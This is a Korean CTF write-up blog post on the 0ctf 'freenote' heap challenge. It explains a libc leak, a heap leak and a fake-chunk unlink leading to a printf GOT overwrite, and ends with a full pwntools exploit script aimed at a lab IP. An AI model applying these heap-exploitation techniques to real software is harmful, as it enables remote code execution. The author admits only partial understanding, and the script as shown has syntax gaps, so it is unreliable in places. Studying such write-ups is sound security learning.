ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [0ctf] freenote
    CTF 2016. 11. 4. 03:51

    우선 이문제에 대한 롸이트업은 올리지만, 아직까지 확실하게 이해하지못했고, 한번에 다 업로드하는것이 아닌 계속해서 수정할 롸이트업이기때문에 확실하게 이해될때까지 이 글은 계속 수정됩니다.


    제가 확실히 이해하고 fake chunk를 확실하게 다룰 때 까지 이 문제는 포기하지않으렵니다.


    heapbase 릭과, LIBC Leak은 혼자서 쉽게 해냈지만 그 이후는 롸이트업을 봤기때문에 뒤쪽 부분에서 부실할수 있고, 자세히 아시는분은 피드백 부탁드립니다.




    코드를 보면 5개의 메뉴가 존재하고, note를 관리하는 바이너리인것을 알 수 있다. 보기 쉽게 rename으로 처리 했다.


    여기서 1,2,3,4 번 모두를 이용해서 익스플로잇을 해야한다.


    첫번째 note_table 함수를 확인해보자



    malloc_ptr에 0x1810만큼 할당하고, note는 이값을 가지게된다. 그리고 0x100의 값을 데이터에 써넣고 데이터영역을 for문으로 0으로 초기화하는 구문이다.


    여기서 이따가 익스플로잇 할 note의 주소를 구하는 방법이 나온다. 당연히 -0x1810을 하면되겠지만.. 



    list_note에서는 노트가 존재하다면 노트의 chunk와, 데이터를 출력해준다. printf 상 널바이트를 만날때까지 출력해주기때문에 unsorted bin일경우 libc를 릭할수있고, heap에서 bk와 fd가 각각의 청크를 가지고있다면 그 값을 릭해낼수있다.



    new_note 메뉴이다. 입력한 바이트만큼 note를 생성해주고, 데이터를 각각 초기화해주는 구문들만 존재한다. 




    edit 노트는, chunk를 선택하고, 데이터값을 수정할 수 있는 영역이다. 이곳을 통해 GOT Overwrite를 할 수 있다.




    여기는 free_note이다. 원하는 청크를 free 할 수 있기때문에 차례대로 free하여 Double Free Bug를 발생시킬수있고, 릭을 할 수 있는 원천이된다!


    각각의 함수 역할을 봤는데, 익스플로잇의 시나리오는 아래와같다.


    [ LIBC LEAK Stage ]


    1. note를 두개만들고, 같은 사이즈의 크기를 malloc하여 unsorted bin이 되면, 첫번째 노트를 free할때 main_arena->top 주소가 fd와 bk에 적히게된다. 


    2.출력 하기위해 새로운 노트를 만들어주면 libc가 릭된 첫번째 청크에 할당되게되는데, 데이터를 입력해야한다. 하지만 릭된 라이브러리는 \xb8로 고정이기때문에 1바이트를 입력하되 \xb8을 입력한다. 리스트로 첫번째(0번째)를 printf 해주면 데이터를 출력시키기때문에 fd값인 libc가 릭이된다.


    2. main_hook + 0x78이 릭되기때문에 제공된 라이브러리에서 malloc_hook+0x78 주소를 찾아 그 주소를 빼주면 libc_base를 알 수 있고, system주소 등등을 알 수 있다. 그리고 다음 스테이지를 위해 모든 노트를 free 해준다.



    * 31은 내가 1바이트를 아무거나 수정했다. 이럴경우 검증을 통해 에러가 발생한다. list로 확인해보면 처음 fd값이 출력되어 libc를 릭해올수있다.



    [ Heap Addr Leak ] 


    3. 같은사이즈를 가진 노트를 4개 만들어주고, 두번째와 네번째 chunk를 free해준다. 두번째의 chunk는 bk가 생길것이고, 재할당을 해준다면 8바이트를 입력하여 fd를 전부 덮어주어 list 출력할때 bk를 출력하여 heap addr를 릭 해낸다.


    4. 릭을 하였다면, 처음 0x1810만큼 선언된 note의 주소를 나중에 사용하기때문에 알아내야하는데, note의 주소를 알아내려면 0x1810 - 8한값을 빼주면 된다.

    5. 다음 stage를 위해 있는 모든 chunk를 free 해준다.




    0x604820이 list 출력을 통해 릭되게된다.


    [ GOT Overwrite with Fake Chunk ]


    6. note를 같은사이즈로 3개만들어주고 세번째 두번째 첫번째 청크를 차례대로 free 해준다. fd는 릭후 계산된 note주소를 넣어주고, bk에 note+8주소를 넣어준후에 fake 청크를 만들고, free를 해준다.


    7. 새로운 노트를 다시 만들어주면, fake chunk로인해 note주소에 새롭게 malloc이 된다.그럼 이것을 free해주고 다시 edit note를 통해 첫번째 청크에 fake chunk를 다시 작성하고  printf_got를 넣은후 다시 editnote로 첫번째  청크에 값을 넣어주면 printf_got가 원하는 값으로 Overwrite 되는데 libc 릭을 통해 얻어낸 주소를 게산해 oneshot가젯으로 덮어주면 쉘을 획득 할 수 있다.



    [ Fake Chunk 모습 ]


    첫번쨰 노트



    두번째 노트



    세번쨰 노트


    * 마지막 A의 데이터값은 C로 덮어주지않아 new note를 할때 담겨진 값이다.


    note_table ( base of heap )




    fake chunk로 prev_inuse를 셋팅해 unlink로, P -> fd -> bk = P와 P -> bk -> fd = P를 조작한다. 


    * fake chunk에서 같은 청크에서 PREV_INUSE을 0으로 셋팅해 unlink 매크로를 호출하기위함으로 작성된다.


    위 힙 상태는 아래 Exploit 코드를 보면서 이해하면 될 것 같다.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    from pwn import *
     
    = remote("10.211.55.3",9901)
     
     
     
    def newnote(length,data):
        print p.recvuntil("Your choice: ")
        p.sendline("2")
        print p.recvuntil("Length of new note: ")
        p.sendline(str(length))
        print p.recvuntil("Enter your note: ")
        p.sendline(data)
     
    def deletenote(num):
        print p.recvuntil("Your choice: ")
        p.sendline("4")
        print p.recvuntil("Note number: ")
        p.sendline(str(num))
     
    def editnote(num,length,data):
        print p.recvuntil("Your choice: ")
        p.sendline("3")
        print p.recvuntil("Note number: ")
        p.sendline(str(num))
        print p.recvuntil("Length of note: ")
        p.sendline(str(length))
        print p.recvuntil("Enter your note: ")
        p.sendline(data)
     
    def showlist():
        print p.recvuntil("Your choice: ")
        p.sendline("1")
     
    def libc_leak():
        global libc_base
        newnote(128,"A"*128)
        newnote(128,"A"*128)
     
        deletenote(0)
     
        newnote(1,"\xb8")
     
        print p.recvuntil("Your choice: ")
        p.sendline("1")
        print p.recvuntil("0. ")
        leak = u64(p.recv(6).strip('\x0a').ljust(8,'\x00'))
        libc_base = leak - 0x3be7b8 # malloc_hook + 0x78
     
        # note reset
        deletenote(1)
        deletenote(0)
        print "[*] LIBC LEAK : " + hex(leak)
        print "[*] LIBC BASE : " + hex(libc_base)
     
        return libc_base
     
    def heap_leak():
        global heap_leak
        global note_table
        newnote(16,"A"*16)
        newnote(16,"A"*16)
        newnote(16,"A"*16)
        newnote(16,"A"*16)
     
        deletenote(2)
        deletenote(0)
        newnote(8,"A"*8)
        showlist()
        print p.recvuntil("A"*8)
        heap_leak = u32(p.recv(3).ljust(4,'\x00'))
        note_table = heap_leak - 0x1808
        print "[*] HEAP LEAK : " + hex(heap_leak)
        print "[*] HEAP BASE : " + hex(note_table)
     
     
        deletenote(0)
        deletenote(1)
        deletenote(3)
        return heap_leak
     
    def overwrite_note():
        newnote(256,"A"*256)
        newnote(256,"A"*256)
        newnote(256,"A"*256)
     
        deletenote(2)
        deletenote(1)
        deletenote(0)
     
        fd = note_table
        bk = note_table + 0x8
     
        #chunk 1
        payload = p64(0x0#prev size
        payload += p64(0x100# chunk size 
        payload += p64(fd) # fd 
        payload += p64(bk) # bk 
        payload += "A"*(256-len(payload)) #user data padding
     
        #chunk 2
        payload += p64(0x100# prev size 
        payload += p64(0x110# chunk size
        payload += "B"*256 # user data padding
     
        #chunk 3
        payload += p64(0x100# prev size
        payload += p64(0x111# chunk size
        payload += "C"*(256-0x20# user data padding
        newnote(768,payload)
        deletenote(1)
     
    def exploit():
        printf_got = 0x602030
        oneshot = libc_base + 0x4647C
     
        payload = p64(0x100)
        payload += p64(1)
        payload += p64(0x8)
        payload += p64(printf_got)
        payload += "D"*(768-len(payload)-1)
     
        editnote(0,0x300,payload)
        print "GOT Overwrite!"
        editnote(0,8,p64(oneshot))
     
    if __name__ == "__main__":
        libc_leak()
        heap_leak()
        overwrite_note()
        print "[*] HEAP LEAK : " + hex(heap_leak)
        print "[*] HEAP BASE : " + hex(note_table)
        print "[*] LIBC BASE : " + hex(libc_base)
        exploit()
     
    p.interactive()
    cs



    아직 Fake Chunk에 대한 이해가 부족하여 이해가 될 때 까지 삽질을 해볼것이고 이해되는데 까지 설명한 글입니다.


    LIBC와 Heap릭은 누구나 손쉽게 할 수 있겠지만, Fake Chunk는 조금 힘들거라고 봅니다.. 확실히 아시는분은 댓글로 설명해주시면 정말 감사하겠습니다.

    'CTF' 카테고리의 다른 글

    [HSOC] Find Me!! (Reversing 400pt)  (0) 2016.11.06
    [HSOC] ConsoleRPG  (0) 2016.11.06
    [Def-camp CTF] Warm Heap  (0) 2016.10.31
    WITHCON Finals - jnjn  (0) 2016.10.25
    WITHCON Finals - BPTime router  (1) 2016.10.25

    댓글

Designed by Tistory.